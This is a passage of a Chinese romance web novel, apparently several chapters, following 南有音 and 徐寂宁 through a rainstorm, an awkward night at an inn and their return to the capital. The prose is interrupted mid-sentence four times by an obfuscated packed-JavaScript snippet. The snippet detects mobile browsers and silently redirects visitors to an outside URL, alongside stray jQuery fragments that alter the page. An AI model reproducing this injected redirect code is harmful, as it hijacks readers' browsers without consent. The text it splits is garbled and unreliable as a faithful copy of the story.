昏暗的光线下,急着避雨的人流在街道四处流淌,南有音拉住徐寂宁的手,害怕被冲散了,庙会这样大,她是记不得路的,更何况现在阴天,天上没有星星月亮,她分不清东西南北,不跟着徐寂宁,她自己一个人恐怕要迷路。 她紧紧握住徐寂宁的手,徐寂宁也反过来紧紧拉住她的,对她喊不要松手被冲散了,今年元宵花灯,南有音迷路半夜才找到人,那种焦急忧虑徐寂宁至今还记忆犹新。 涌上来的人潮将两人淹没,不断冲撞着二人连着的胳膊,使得二人的手握地更紧,越来越紧,用力到手指都有些发白,但两人的手都有点出汗,都有点滑溜溜的抓不住,两人在人群中挣扎沉浮,尽力不被人群冲散紧握的手。 他们都看不到彼此,只能从掌心温热的触感确认对方还在,他们被人海推着,随波逐流,直到一条宽阔无人的街道才停住了被簇拥着前进的脚步。 “总算停下了。”南有音气喘吁吁,人群挤散了她的发髻,好几缕头发垂下来,随着雨水贴着她的脸上,蜿蜒到锁骨上。 徐寂宁稍好一点,只是衣衫凌乱。 南有音下意识想要抬手拨开黏在脸上的碎发,却忽然意识到她的手还紧紧攥着徐寂宁的手,同时也被徐寂宁紧紧握住。 她的五根手指与徐寂宁细腻纤细的手指穿插在一起,十指相扣。 她想起元宵的花灯,她曾在桥头见到大嫂宋知落与薛停的大公子驰光,彼时两人便是十指相扣,情投意合。 南有音忽然莫名的有点紧张。 徐寂宁也发现了他们紧紧扣在一起的手。 他也注视着两只拥在一起的手,无端想起大家常说的“十指连心”,现下他与南有音的手指交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445817|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叠,他们彼此跳动的心是否也短暂的连结了呢。 这个想法让徐寂宁心跳得飞快。 南有音和徐寂宁低头看着彼此牵连的手,握的很紧,以至于天空中不断飘落的冰冷雨丝始终无法渗入掌心那一片温暖潮湿的区域。 “原来十指相扣是这种感觉,”南有音喃喃自语,“下一次我要把这种感觉写到话本子里。” 南有音没有松手,徐寂宁也没有,他轻声问道:“下一次的话本子里,你又打算写什么故事呢?” “我也不知道。” 漫天的雨从漆黑一片的夜空簌簌而下,仅有街边店铺门前飘摇的灯火散发着红黄一片的光芒,在雨中摇曳。 南有音抬起头,她发现有细小的雨滴挂在徐寂宁的眼睫毛上,随着他的眼睛的眨动而落下,有些落在了眼底,有些落在了他的眼睛里,使得他的眼尾泛着浅浅的红色,仿佛泫然若泣。 南有音忍不住笑了:“徐寂宁,这雨下的,好像你在哭呢。” 徐寂宁也微微笑了一下,隔着雨幕,他看到南有音那双又大又亮眼睛里倒映着街边风雨中飘摇的灯火,闪闪发光。 雨水很快将他们浇透了,衣服和头发都湿漉漉的,贴在身上,风一吹凉飕飕的,唯有相握着尚未分开的手心中,还藏着温暖,甚至有些燥热。 雨水从额头滑落到眉毛,经过眼角,滑过唇边,在雨水的湿润下,徐寂宁发现南有音的嘴唇非常的饱满且光泽。 现在这两叶嘴唇正弯成一个美妙的弧度,冲着他笑。 灿若星辰的眼睛,如同带着露水的玫瑰花瓣一样的双唇,簌簌雨声,徐寂宁不由自主地靠近,微微俯下身子…… 他只感到手心一凉,冰凉的雨水侵占了最后这片温暖的区域的同时,也浇灭了夜色中的其他什么。 南有音松开了他们紧握的手,笑着跑开了,她踩在街道的水坑上,落下的脚步溅起一串串的水珠,在摇摆的灯光下显得杂乱无序,同她飞速的心跳一样凌乱。 “徐寂宁,来踩水吧!”南有音对着徐寂宁快活地喊道,“反正衣服已经彻底湿了,不如尽情玩儿!” “好呀。”徐寂宁答应道,他心中空空,若有所失地踩着水,追逐南有音。 他们走着走着,雨越来越小,天空重新放晴,天边挂着一道弯月牙儿,淡淡的月光将地上的水洼染成一片淡淡的银白色。 南有音时不时跳进倒映着月牙的水洼,溅起无数水滴,又泛起涟漪,搅得月影破碎。 “徐寂宁。”她忽然笑着说道,“我突然很喜欢夏夜的雨,你猜猜为什么?” 徐寂宁配合着问道:“为什么?” 但南有音没有回答,只是笑,然后抿了抿嘴唇,一直到两人回到客栈,她也没有告诉徐寂宁究竟是为什么。 或许这个原因对于朋友而言,太过亲密了些。 毕竟夏夜的雨会让人想要亲吻吗? “其实我不怎么喜欢夏夜的雨。”南有音又摇头说道。 58. 尾巴 回到客栈时,南有音与徐寂宁浑身上下湿透了,发梢衣角,滴滴答答地渗水,一路走回房间,留下了一行水渍。 徐寂宁叫来店小二,叫他打些热水,他与南有音要冲去身上凉飕飕的雨水。 店小二问道:“客官是要一人份的热水,还是两人份的?” 徐寂宁觉得店小二问了一句废话,但依然温和道:“自然是两人呀,你看,我们两个都淋湿了呀。” 店小二却挑眉:“唔,你们两个是夫妻吧?干脆就要一份热水得了,省得我费力。” 徐寂宁疑惑:“可我们是两个人啊。” 南有音听到了二人的对话,忙把徐寂宁拉到一旁,摸出几枚铜板放在店小二手心,笑道:“就要两人份的。” 店小二走后,徐寂宁忍不住嘟囔道:“分明两个人,他却偏要偷懒,只烧一份水。” 南有音诧异地瞅了一眼徐寂宁:“你没听出他什么意思?” 徐寂宁一脸忙然。 南有音翻了一个白眼,解释道:“他说我和你既然是夫妻,那便一起洗,这样他也就能少送一次水。” 南有音直截了当地说道:“小二是在问你要不要跟我洗鸳鸯浴呢!” 然后,南有音笑嘻嘻的,注视着徐寂宁的脸一点一点的涨成了红色。 南有音没有打算就此放过徐寂宁,又故意追问:“话说,你知不知道‘鸳鸯浴’是什么东西?” 徐寂宁红着脸,目光瞥向别处,局促道:“我当然知道!” 南有音畅快地笑了一阵,店小二也敲门送来了第一份水,她问徐寂宁:“你先还是我先?” “你先吧……”徐寂宁仍然很是局促。 南有音在木盆中放满了水,正准备脱衣服,徐寂宁却忽然叫了她一声。 她扭过头去,恰好与徐寂宁四目相对,面面相觑。 她准备解开衣服的手顿住了,她忽然意识到朋友之间大概不至于互相看对方洗澡,难得地感到尴尬起来。 徐寂宁脸很红的咳嗽一声,他将书桌旁的薄纱屏风拖了过来,正好遮住了木盆。 “还是你想得比较周到。”南有音松了一口气,躲到了屏风后面,宽衣解带。 她浑身赤裸地浸入温暖的水中,暖融融的热水驱散了雨水所带来了寒意以及黏黏糊糊的感觉,她觉得被环绕拥抱着,惬意地很,不由自主地轻轻哼起了小曲子。 一曲还未哼完,南有音忽然发现木盆左侧边缘趴着一个黑乎乎的东西——一只巨大的黑色蝙蝠。 她与蝙蝠黝黑的眼睛对上了,大眼瞪小眼,接着蝙蝠忽然拍着翅膀向她冲了过来,她被狠狠一吓,失声尖叫。 听到南有音惊恐的叫声,徐寂宁不假思索,冲了过来。 南有音尖叫着指着那只围着她不停扑棱翅膀的蝙蝠,叫要徐寂宁快点把它赶走。 一阵兵荒马乱之后,蝙蝠从窗户施施然的飞走了,只留下气喘吁吁的徐寂宁,惊魂未定的南有音,还有在地面上流淌的水——刚刚南有音扑腾出来的。 片刻后,南有音与徐寂宁的视线又一次相撞了,几乎是刹那间,南有音意识到自己□□,缩起了身体,徐寂宁意识到自己看到了什么的,立马闭上了眼睛,迅速转身离开,只是耳朵红的厉害。 房间里一时无比的安静,既没有了徐寂宁翻书的声音,也没有了南有音洗澡的声音。 南有音倍感尴尬,但她转念一想,又安慰自己说:“过去你当他与你是夫妻的时候,不是还逼他看自己的身体吗,反正早就被看过了,况且被看几眼又不会少块肉,而且说不定他比你还要尴尬呢……” 最后南有音想了一个离奇的理由宽慰尴尬的自己——朋友嘛,坦诚相见嘛。 她这么一想,感觉好多了。 于是房间内又重新响起了淅淅沥沥的水声与欢快又轻浮的小曲儿。 但徐寂宁脸上滚烫的温度还没有降下去,他仍然惴惴不安,试探着叫了一声:“有音?” “嗯?” “刚刚……”徐寂宁尴尬到说不出口,咬着嘴唇结结巴巴道,“那个,抱歉,我不是故意的……” “哦,其实也没关系。”南有音平静地搬出了她刚刚悟出的理论,“朋友之间坦诚相见也没什么,所以过会儿你洗澡,我也去看你两眼就好了。” 徐寂宁爆发了一阵猛烈的咳嗽,听起来是被吓得呛到了。 南有音很快沐浴完毕,遣店小二收拾了,换徐寂宁躲到那层薄纱屏风后沐浴,她则一边晾干头发,一边翻徐寂宁的书,书是记载赋税制度的。 徐寂宁这一路上一直在给皇帝写他那份冗长的有关岭南赋税改革的奏折,故而他一直在翻阅各地地方志里有关赋税的内容。 南有音翻了几页,顿感头疼,书里的内容她实在没有兴趣,但她怀疑父亲南晨颂会感兴趣。 南老爷南晨颂挂在户部盐铁之下,敏于计量,精通各种收纳开支。过去南晨颂教南有音与南玉振读书时,曾教过两人关于本朝各种赋税的计量之学,但两人都不感兴趣,南有音学了个大概,至于南玉振,让南老爷觉得一言难尽。 南有音盯着书看,愈看愈觉那些赋税制度在书里张牙舞爪,便迅速合上了令人眼晕的书,歪在床上发呆,耳边不断传来徐寂宁沐浴时的涓涓水声。 她不由自主的将视线投到声响之处。 绣着玉兰花的屏风很薄,能够很清楚的看到屏风后的剪影。 南有音无聊地看着剪影的动作,无比单调的水声使得她愈发地犯困。 在她即将睡过去时,她听到了“哗啦”一声,接着她看到徐寂宁从木盆中站了起来,先是左腿,接着右腿,迈出了木盆外。 徐寂宁的剪影无比清晰的倒影在屏风上。 他整个人偏瘦,故而腰似乎格外的细,但肩膀又足够宽直,不至于显得背部单薄,两条腿虽不擅行走奔跑,却也笔直修长,肌肉匀称,无论是谁,哪怕是格外刻薄的南玉振见了,也不得不承认徐寂宁的身体各个部分非常的和谐,极具美感。 南有音忍不住好奇徐寂宁的身体了,成亲半年多,两人夫妻生活方面一直是她主动推进,当然推进的很是失败,至今她还没真真切切地见过徐寂宁的身体。 她盯着屏风后的完美剪影直愣愣地瞧,有那么几个瞬间恨不得将屏风瞪破了。 “咳,有音,”屏风那头的徐寂宁轻轻咳了一声,忍不住问道,“你是不是在盯着我?” 他的后背感受到了炽烈的目光,炽烈到几乎将他整个人都罩了起来,让他非常的不自在。 “没有,我没有盯着你。”南有音目不转睛,面不改色,继续注视屏风后的剪影。 剪影有了新的动作,似乎正在穿衣服。 南有音聚精会神。 “有音?” “怎么啦?”南有音理直气壮道,“我没看你。” “有音!”徐寂宁有点急了,他的感觉不会错,只要南有音盯着他,他就会产生被她的目光包围的感觉。 “好吧。”南有音悻悻收起了目光,躺在床上眼观鼻鼻观心。 过了一会儿,徐寂宁也上床躺下了,熄灭了蜡烛,屋内陷入了一片黑暗。 在黑暗中,南有音与徐寂宁都很清晰的闻到了对方身上沐浴过后淡淡的香味。 这份香味随着他们的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445818|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛渐渐适应黑夜,能够借着皎皎月光看到彼此而消散了。 他们两人自从离开岭南已经分房睡一段时间了,骤然再度聚在一起,尤其是聚在客栈里不够大的床上时,有些不适应。 徐寂宁局促地躺在床沿,南有音则躺在中间,她一时反应不过来不是自己单独一张床了,迷迷糊糊间大开大合地翻了个身,直接翻进了徐寂宁的怀里。 胳膊搭在徐寂宁身上,腿也搭在徐寂宁的腰上,惊得睡眠一向很浅的徐寂宁一个激灵,直直滚下床去,也连带着怀里的南有音一起掉了下去,摔得龇牙咧嘴。 这一晚经由这么一出闹剧,两人再度爬到床上时困意已然烟消云散,再也睡不着了。 于是他们开始聊天,胡扯乱扯,南有音说起了徐寂宁那赋税奏折,评价说读起来索然无味。 徐寂宁立刻表示赞同,他说他写得也相当痛苦,不然是不会写这么久的。 当初他奏请皇帝宽恕永安王一事的无辜家眷官吏时,洋洋洒洒的长篇大论倚马可待,动之以情晓之以理,只是发回京城后就没了音讯。 而现在这篇,一路上就没怎么搁下笔。 徐寂宁叹了口气道:“赋税之事,实在繁杂,政事大多本就无趣琐屑,赋税度支更是如此。” 南有音说道:“不过我爹还挺擅长的。” “南老爷当然擅长,不然也没法在户部盐铁下面干那么多年还毫无差错。”徐寂宁微微蹙眉,“可是按理讲,你家不该那么穷的。” 南有音恼火道:“我家不穷!” “我知道,我不是那个意思,”徐寂宁急忙解释,“我的意思是南老爷的职位是个肥差,按理说你家的情况虽不至于像徐府一样,却也应该相当富贵殷实,但现在却,呃—— 徐寂宁尽量委婉:“有点略显清贫。” 南有音不满道:“那只能说明我爹两袖清风!” “有音,南老爷究竟是怎样的?”徐寂宁问道,“我见过他几次,每次都对我毕恭毕敬的,叫我怪不好意思的,但是你口中说起他,反而叫人觉得他胆子大的惊人,说得全是些……” 徐寂宁压低了声音:“……大逆不道的话。” “那些话都是过去爹教我和玉振读书的时候偷偷说得,”南有音警觉道,“怎么?你该不会要给我爹治一个诽谤朝廷的罪名吧?” “怎么可能!”徐寂宁小声道,“其实我觉得他说得挺有道理,鞭辟入里,一针见血……” “当然啦,”南有音略有点自豪道,“我爹可相当聪明!不到二十就考中了,跟你爹还是同期进士呢。” 徐寂宁却又困惑道:“有音,南老爷为何一直没有升迁?南老爷这样有胆量和见识的人,怎么这么多年了,始终是一个不入流的小官,挺奇怪的。” 南有音则说道“可能因为大家有眼无珠。” 徐寂宁不是很认可,但还是说:“等回到京城,我想向南老爷请教些财政政策的内容。” “好呀,我爹肯定会高兴,”南有音轻快道,“他一直想方设法的要讨好你呢,你要问他问题,他简直求之不得。” 徐寂宁说回京后要请教南老爷,南有音说她要吃南老爷烙的饼,南有音畅想了一阵回家,又开始思虑回到徐府。 她不禁问道:“回到徐府之后,我们该怎么办?还是夫妻?” 徐寂宁反问:“你想要怎么办呢?” 南有音犹犹豫豫,给出了答案,这已经是她能想到的最好的处理方式了:“对外还是老样子,我和你是夫妻,对内,也是只有咱们两个知道我和你只是朋友而已。” “好,听你的。”徐寂宁温和地答应了。 59. 归京 经过数日奔波,南有音与徐寂宁终于在七月的尾巴回到了京城。 重新踏足这座繁荣肃穆的都城,两人都产生了一点恍如隔世的感觉。 离开时没有想过会经历生死,在鲁蝶那座孤岛时,甚至想过再也没法回来。 两人回来,徐府一阵热闹,匆忙地准备家宴,徐夫人再度见到小儿子与南有音,一时两眼含泪,什么也说不出,徐老爷轻轻拍了拍徐夫人的肩膀,示意南有音二人先去换洗休息。 直到再度回到自己的院子,在最熟悉的梳妆台前,两人方才反应过来徐夫人为何而哭——与离开时相比,他们变化太多了,晒黑了很多,也都瘦了,松梯取来的新衣服都松松垮垮的不太合身,脸上隐约显示出一点生死沉浮的痕迹。 接风洗尘的家宴上徐夫人终于没有再落泪了,她与徐老爷问起二人一路的经历,徐寂宁略去了惊险,稍显平淡地叙述了一下岭南之行。 天黑下来之后,徐老爷与徐夫人便先行离席了,他们一走,剩下的人氛围顿时活跃了很多。 没有祖母镇守,徐甲立刻领着徐乙溜到了南有音身边,直言小婶婶不在家,一天到晚无聊透顶。 南有音跟他们亲昵了一阵,说徐甲长高了,徐乙长胖了,接着又忽然扬言说要教他们上树爬墙。 大概从来没有人敢在徐夫人统领下的徐府说出这种“目无规矩”的话,也从来没有人想过爬上徐府的任何一棵树任何一面墙。 南有音说出的话让大家骤然沉默了,除了小侄子徐甲拍手叫好,徐乙不明所以的跟着拍手外,徐缄平与宋知落、二哥徐默安,都有些反应不过来似的愣住了。 徐寂宁则当即表示了对南有音提议的强烈支持,又让众人的沉默在惊讶中持续了更久。 徐缄平半晌反应过来两人不是在开玩笑,奇怪道:“你们二人为何怎么想到这一出了?” 徐寂宁苦笑一下,略略说了说在岭南遭遇追杀,跳墙而逃,又略略说了一下鲁蝶岛野果挂在树上,伸手难摘。 “我听父亲说起过他与薛大人的书信往来,里面提到过这些,”徐缄平沉沉叹了一声,“寂宁,你们受苦了。” 徐寂宁摇头道:“我倒没什么,只是连累了有音,若非有音,这一路上……” 他很无奈地笑了一下。 徐缄平向弟妹道谢,南有音则露出了一个非常灿烂的笑容:“所以小甲和小乙要学会翻墙和爬树哦,日后指不定哪一天就能涌上了。” 徐缄平认真思考了一下,说道:“太太是不会同意的。” “那也好办,等改日我和徐寂宁回南家,我带着他们两个,让我弟弟玉振教他们,”南有音狡黠一笑,“到时候只要我们不说,太太也不会知道啦!” 大家玩笑般赌咒发誓绝不说出去,而后聚在一起,抓着徐寂宁问了好多岭南的事,比起对于父母的隐瞒,面对哥哥们,徐寂宁倒是讲的原原本本。 两个小娃娃对大人说话不感兴趣,南有音便带着他们两个和宋知落去院子里找知了,宴席上一时只剩了徐家兄弟三个。 面对着长相与自己酷似,流淌着同样血脉的大哥和二哥,徐寂宁说起了自己一路犹疑不定的疑问,他不清楚朝廷执意杀死永安王对于岭南百姓究竟是福是祸。 他提到百姓对于永安王的爱戴,又说似乎在永安王的统治之下百姓更为富足安逸,他甚至还提到了岭南百姓对于皇帝对于朝廷的不满。 徐寂宁说完,他的两个哥哥一言不发。 半晌,徐缄平开口说话,声音相当的涩:“寂宁,不要想那么多,只是做好分内之事便可,其余的,不是你我能左右的。” 徐寂宁接着问:“可是大哥,什么才是分内的事?是忠于皇帝,还是为百姓谋益?” 徐缄平没有直接回答,而是轻声反问道:“这是京城,天子脚下,你说我该给你什么样的答案呢?天下是皇上的,万民也是皇上的子民,我们这些做臣子的,也只是皇上的臣子。” 徐寂宁却想到了皇帝派遣除自己以外的十余人前往岭南当做诱饵的事,他记得薛停说过除了他逃脱了以外,其余派往末山的官员已经不幸遇难,他忍不住问道:“皇上真的这样想吗?我们是朝廷的臣子,还是皇上一个人的奴仆?百姓是皇上的子民,还是皇上见不到的蝼蚁呢——” 徐默安打断了徐寂宁的话:“慎言。” 他与徐缄平对视一眼,两人似乎都有点头疼,他说道:“寂宁,父亲说得没错,这个家里,最不适合当官的就是你了,在官场上事事都要分得究竟清明,如何能做得长久呢?” “可是,”徐寂宁有些茫然,“我总得知道该怎么做吧,倘若万民与皇帝所想不一样,二哥,你修史时读过那么多书,总该知道我该如何取舍吧?” 徐默安摇头道:“至于究竟该如何,我和大哥给不了你答案,是非对错并非都在圣贤书里,有时需要你自己抉择。” 徐寂宁丧气一叹。 “寂宁,”徐默安看着垂头丧气的小弟,觉得有些好笑,“你去了一趟岭南,变了不少,过去你从不这么想。” 徐寂宁嘟囔道:“用有音的话说,过去的我是有些高高在上了……” “提到有音,话说回来,”徐默安忽然问道,“她怎么开始叫你的名字了?过去不是一直喊你什么‘宁哥哥’么?你们两个怎么搞得?” 徐寂宁低着头没答话。 徐缄平也发觉到四弟一反常态:“寂宁?” “倒也没什么,”徐寂宁语速很快地解释道,“只是我们两人发现互不喜欢对方,约定好只当朋友了。” 徐缄平与徐默安对视一眼,又转向了徐寂宁。 徐缄平扶额,似乎很是无奈:“寂宁,我和你二哥已经……总之,太太对你和有音寄予厚望,有音她分明也是很好的姑娘,你……” 徐缄平颇有些恨铁不成钢的意味。 “我当然知道她很好,”徐寂宁小声嘟囔道,“岭南一路上也多亏了她,只是我不喜欢她,她也不喜欢我呀。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445819|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐默安则注视着徐寂宁的眼睛直接问道:“你知道有音很好,可为什么不喜欢她?” “我与她又不熟悉,只是依照父母的意思,被绑在一起做夫妻而已。”徐寂宁说道,“过去三姐常说,只有两心相许的人才能够结为夫妻,我和有音……” 徐寂宁想起他与南有音的姻缘只是因为钦天监的人一句无根无底的话牵成的,从一开始就缥缈无物。 徐默安却说道:“但现在你与有音朝夕相处了那么多时间,甚至一起经历过生死了,现在你跟她总该熟悉了吧?” “……嗯。”徐寂宁很乖地点了点头。 徐默安笑了:“你说你与她成亲时对她不熟悉,故而不喜欢她,但现在呢?你们这样熟悉了,你是不是也该重新想想自己的想法了呢?” “呃……”徐寂宁绞尽脑汁。 徐默安又轻轻摇了摇头:“若是想朝廷百姓之事,须用脑子思虑清晰,但感情之事——” 他笑着点了点徐寂宁胸口:“偶尔用‘心’琢磨一下,感受一下呀。” “静祺说在她那个时代,两心相许才可结为夫妻,你愿意听她的话,”徐默安循循善诱,“可是寂宁,你有没有想过,你知道静祺口中的两心相许是什么样的感觉吗?” 徐寂宁立刻追问他的大哥和二哥:“那是什么感觉?” 徐默安笑了:“那只有你自己才能清楚呀。” 徐缄平也笑了:“默安都告诉你啦,用点‘心’吧。” 徐寂宁望着两位笑得很开心的哥哥,目光逐渐呆滞,片刻后有些恼火:“今晚我问你们什么,你们就光敷衍我,什么都说得含含糊糊,一会儿让我自己想,一会儿让我自己感受的!” “唔,”徐默安凑到徐缄平身边,小声道,“大哥,你看,四弟又要发脾气了。” 徐缄平立刻道:“上次我哄得他,这次轮到你了。” 徐默安故意夸张得哆嗦了一下:“可我怕他气急了咬我,你是大哥,还是你来。” “二哥!”徐寂宁又急又气,“我咬你的时候还不满十岁!我现在都过了二十了,你还拿这个取笑我!” “咬人?你还咬过二哥?” 徐寂宁身后传来南有音清脆的声音,她从花园的小径走过来,笑嘻嘻道:“知落带着小甲小乙回去了,我就来看看你们有没有说什么有趣的,一来就听到徐寂宁咬人了。” “是啊,”徐缄平咋舌道,“寂宁铁齿铜牙,默安胳膊挂红,自此我们一看到寂宁龇牙咧嘴,便惶惶不可终日啊!” “哪有那么夸张,那个时候我还小!”徐寂宁气急败坏,“有音,你不要听大哥和二哥瞎说的。” 徐缄平则同徐默安一块放声大笑起来,玩笑道:“有音,那你半夜可要小心徐寂宁的牙齿!” “大哥!二哥!”徐寂宁气得脸红。 但徐缄平与徐默安没有接下徐寂宁的怒气,而是哈哈笑着摆摆手走了,一面走一面说道:“早点歇息吧,有什么话明天再说。” 60. 两面 回到京城休整了几日,很快一切回到了往日的情形,徐寂宁照常上朝,南有音在府里跟两个小侄子玩,时不时到宋知落那里吃茶。 宋知落与徐缄平院子前面的池塘里开满了荷花,风吹荷动,蜻蜓游鱼。 南有音陪着小甲小乙跑闹一阵,累得满头是汗,宋知落便叫丫鬟将两个小孩抱走吃些瓜果,自己则与南有音在湖心的凉亭乘凉。 南有音痛饮数盏莲子茶后,宋知落忽然发问:“有音,你和寂宁之间……” 南有音瞬间被茶水呛到了。 宋知落温柔地轻拍她的后背,又递给她手帕擦脸。 南有音有点心虚道:“我和徐寂宁之间怎么了?” “倒也不是什么,”宋知落有些犹豫,“只是觉得你对他似乎不似从前了,过去你来我这儿,总要问我许多寂宁的事。” “呃……”南有音自己倒是没有留意过此前总把徐寂宁挂在嘴边,“可能是因为我跟他成亲半年多了,所以没什么好问的了。” 宋知落温柔地笑了:“有音,跟我无须讳言。” 南有音沮丧地一叹:“这么明显吗?” “当然很明显,有音,你看向寂宁的眼神跟过去不一样了。”宋知落有些担忧道,“有音,你该不会后悔了吧……” “后悔嫁到徐府吗?这也确实,”南有音注视着高高的院墙闷闷道,“自从成亲,就好像被关了起来,过去种种未来种种可能,全都被截断了,只剩下做徐寂宁的妻子这一条路可走了。” 南有音伤心道:“那时我以为自己会愿意,可是现在我不喜欢徐寂宁了,也就后悔了。” 宋知落轻轻叹了一口气,南有音的话证实了她的忧虑与恐惧,又一个姑娘同她一样被困住了,她眼睁睁看到南有音眼底的天真烂漫一点一点的被爱情与婚姻这两把锉刀挫伤,她忧惧这个比她年轻不少的女孩要走上同她一样的道路,孤独困守,了此残生。 她揽住南有音的肩头,想要说些什么,喉间却哽咽到说不出话,她也不知道该如何宽慰,毕竟无论怎么说,现实都是木已成舟,覆水难收。 南有音感到额头有水滴落下,心中一阵茫然,忽而意识到宋知落也是困在了这侯府之中,眼眶发酸。 她张开双臂揽住了宋知落,将脑袋埋在她的胸口,两人像是融合在一起一般,她不忍宋知落流泪,便宽慰她道:“没关系的,其实我大部分时候还是挺开心的,我最近忙着写话本子呢,没空想其他的。” “我可以在话本子里写咱们两个自由自在,心随天地宽,”南有音说道,“我会是女侠,仗剑走天涯,你就当茶馆的掌柜,我时不时回去你哪儿喝杯茶歇息,乱拳赶走捣乱的客人。” 宋知落闷闷笑了:“真好,我和驰光都喜欢茶,小时候还约好长大后一块开一家茶馆。” “那我就在话本子里把这些写出来!”南有音眼睛亮亮的,同宋知落描述了她想象中的茶馆。 宋知落则时不时插嘴,纠正完善一些诸如用什么样式的茶壶茶盏,茶馆的装潢该如何陈设,仿佛她与薛驰光真的有这么一家茶馆一样。 南有音笑着畅想道:“每到过节放假,大哥和小崔太史回去茶馆,二哥也会带着书去,还有徐寂宁,我们聚在一起,是很好的朋友,你会请我们品尝最新的茶,我会说我四处旅行的故事,二哥会与大哥和小崔太史互相打趣,至于徐寂宁……” 南有音的笑容有点枯萎:“或许他会找到自己喜欢的人,我跟他会在一张桌子坐下来,只是大概不会像现在这样熟识了……” “不过也没关系,”南有音语气依旧轻快,“我会骑着我的马,走遍天涯海角,到那时,我会认识更多更好的朋友,徐寂宁也就显得无关紧要了。” 宋知落将南有音揽地更紧了一些,喃喃道:“若是真像你想的那样就好了。” 南有音还要继续编下去,在脑海中建造一间精美的茶馆,茶馆里的人自由自在无拘无束,但徐夫人侍女的到来,打破了她与宋知落缥缈梦幻的幻想。 侍女说太太要见南有音,南有音忐忑不安的走了,她早就想到太太会找她谈话了,尤其是在岭南时徐寂宁写了一封家书,在里面说自己不举。 徐太太看起来也消瘦了不少,她叫南有音坐在她的身边,亲切地拉着她的手,虽是嘘寒问暖,但也真挚诚恳。 “自从寂宁和你去了岭南,我便没睡过一夜的囫囵觉,夜夜都梦见你们遇难,有时掉下悬崖,有时有时被追杀的……”徐太太叹了口气,重新挂起笑容,“还好你们完完整整的回来了。” “有音,这一路多亏了你,”徐夫人紧紧握住南有音的手,“我知道寂宁那孩子是什么样,如果不是你,他……” 徐夫人说不下去,她无法将“他早就死了”这种恐怖的言语说出口,深深呼吸几次,注视着南有音的眼睛,说道:“有音,辛苦你了。” 南有音则灿烂的笑了笑。 徐太太与她又闲聊了一阵过后,话题果然不出所料的飘向了那封从岭南寄来的家书。 “寂宁,他……”徐夫人似乎面露难色,“有音,那封信上写的……” 南有音思考了一下,既没说徐寂宁撒谎,也没说徐寂宁确实不举,而是折中道:“他从来不碰我。” 徐夫人微微一笑,淡然道:“寂宁说得不是实话。每次他撒谎,很轻易便能看出来,我是他的母亲,更比旁人能察觉。” “寂宁故意这样说,”徐夫人注视着南有音问道,“只是为了打消我与南夫人催你们生小孩吧?” 事实确实如此,南有音讷讷说不出话了。 徐夫人轻声哼一声:“寂宁竟连这种主意也想出来了。” 南有音有点紧张了,她是见过徐夫人板起脸的样子,一直有些怕。 但徐夫人没有摆出那副威严的架势,只是看上去有些头痛,她捏了捏眉心,困惑道:“钦天监的人分明算过你们两人的命格,是极为合适的,可是你们两个……寂宁昨天不知怎么,跟我说你们两个不是夫妻是朋友,这算什么话!真是奇怪……” 徐夫人沉默了一会儿,又对南有音说道:“有音,你多用点心。” 南有音不想听这种话,忍不住嘀咕道:“之前我很用心了,是他故意不想碰我的,现在我也不想碰他了。” “现在不一样了。”徐夫人说道,“寂宁变了,他对你跟之前不一样了。” 南有音不以为然。 徐夫人又问道:“有音,你天天和小甲小乙一块玩,难道不想要自己的孩子?” 南有音直接说道:“我和寂宁现在没什么感情,怎么能生出小孩?” 她声音小了下去,低声嘟囔道:“既然寂宁都告诉你了,那我也只好说了,朋友之间怎么会做生小孩的事呢?我跟他是朋友……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445820|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>徐夫人忍不住笑了,好像南有音讲了什么笑话一般。 半晌她抹了一下眼角笑出来的泪,评价道:“你们两个还没长大呢!就算你与他是朋友,也不妨碍你是他明媒正娶的妻子呀。” 南有音摇头:“我又不喜欢他,他也不喜欢我。” 她搬出了徐寂宁曾说过的话:“夫妻之间若是不两心相许,也只是表面夫妻。” 徐夫人脸上的笑容消散了,转而被惆怅取代了:“你这话是寂宁说得吧,这些话过去静祺便总是说……” 